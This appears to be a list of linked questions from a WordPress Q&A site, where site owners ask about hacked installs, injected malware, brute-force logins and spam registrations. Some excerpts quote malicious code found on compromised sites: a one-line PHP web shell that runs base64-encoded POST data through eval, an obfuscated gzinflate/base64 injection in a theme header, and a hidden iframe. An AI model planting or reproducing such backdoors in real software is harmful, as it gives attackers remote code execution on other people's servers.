Linked Questions

0 votes
1 answer

Efficient way to check local Wordpress php files and Database for malicious code? [duplicate]

First of all, I am not a WP superuser. Recently a friend of mine got hacked, by hacked I mean he didn't update his WP for a long time and got malicious code injected which sent spam, so his hoster ...
RayofCommand's user avatar
1 vote
1 answer

How To Clean The Malware Infected & Hacked WordPress Websites? [duplicate]

I have some websites build with WordPress. My sites are affected by Malware programs and Hacked by someone frequently. Finally got a solution to stop this issue. I create this post for share my tips ...
Sathya's user avatar
  • 21
1 vote
0 answers

Hacked site. Fixed. Nailing down the cause [duplicate]

One of the sites I manage was hacked, basically the hack consisted in redirecting users to other external webpage (sort of advertising spam malware). I have moved the hacked site to a staging site ...
Riccardo's user avatar
  • 931
0 votes
0 answers

What to do about a hacked WordPress website and server? [duplicate]

My WordPress website has been hacked. Google sent me an email stating that the site would be listed in browsers such as Google Chrome and display a warning when users visit or download certain files ...
bmich72's user avatar
  • 101
21 votes
3 answers

Increase of failed login attempts, brute force attacks? [closed]

I Installed the plugin Simple Login Lockdown and since a couple of days ago the database is recording over 200 records by day. I think that is not possible to have my site attacked by so many IP's ...
Minapoli's user avatar
  • 311
2 votes
1 answer

Remove default user registration, login and subscriber profiles

My website has recently come under attack by a wave of spam user accounts. My website uses a custom login that forces users to use their email address as their username, however the spam users all ...
George Reith's user avatar
1 vote
2 answers

Suspicious Files

Hi I found two suspicious files on my site: The first in my theme (404.php), with this line added <?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?> The ...
qaedus's user avatar
  • 411
1 vote
1 answer

wp-config.php modified?

This might be a broad topic but I am searching and reading but not able to clear my doubts, please advice in answer or links from where I can understand about how codes are injected to WP by attackers....
jas's user avatar
  • 1,487
0 votes
1 answer

Malware in header.php [closed]

Four different websites got infected and been blocked by Google, and after a quick look, I've noticed this just before wp_head(): <?php #d93065# echo(gzinflate(base64_decode("tVVNj5swEP0... (...
Christopher's user avatar
4 votes
2 answers

What does a security risk in a plugin look like?

My server was hacked this weekend. By the Russians! Of the 50+ domains on my server, every single one had a hacked .htaccess file which was redirecting search results and a few other things to a ...
hookedonwinter's user avatar
0 votes
1 answer

After being hacked Fatal error: Call to undefined function get_header() in 404.php on line 1

After having timthumb.php exploited. The site was upgraded to WP 3.5 It was compromised again, (wp-config included encrypted data as well as the functions.php in the wp-include directory. After ...
user26091's user avatar
0 votes
1 answer

Strange codes in my wordpress site and my website is running too slow [closed]

I have a wordpress website, recently I saw too much slow loading index page. For two weeks I have been trying to find the problem but found nothing. Last day I backup all files and deleted everything ...
Imran Shafqat's user avatar
0 votes
3 answers

Suspicious URLs being loaded after hack and restore

I had a site that was hacked (had Arab words on the index.php), and all files deleted, but database still there. I used Fantastico to install a clean release of WP 3.1, and I still some something ...
NealWalters's user avatar
1 vote
2 answers

WP Site Only Shows Javascript for Main Page

I have a wordpress site that, for some users, they only see a blank page. In fact, they only get some sort of javascript (below). I've tried deactivating all plugins and changing the theme; I still ...
ashes999's user avatar
  • 155
0 votes
4 answers

Malicious script is being appended to my markup. Help? [closed]

On my site, the script below is being added: <iframe width="1" height="1" frameborder="0" src=""> I tried searching every file in my WP install directory for ...
John's user avatar
  • 197

15 30 50 per page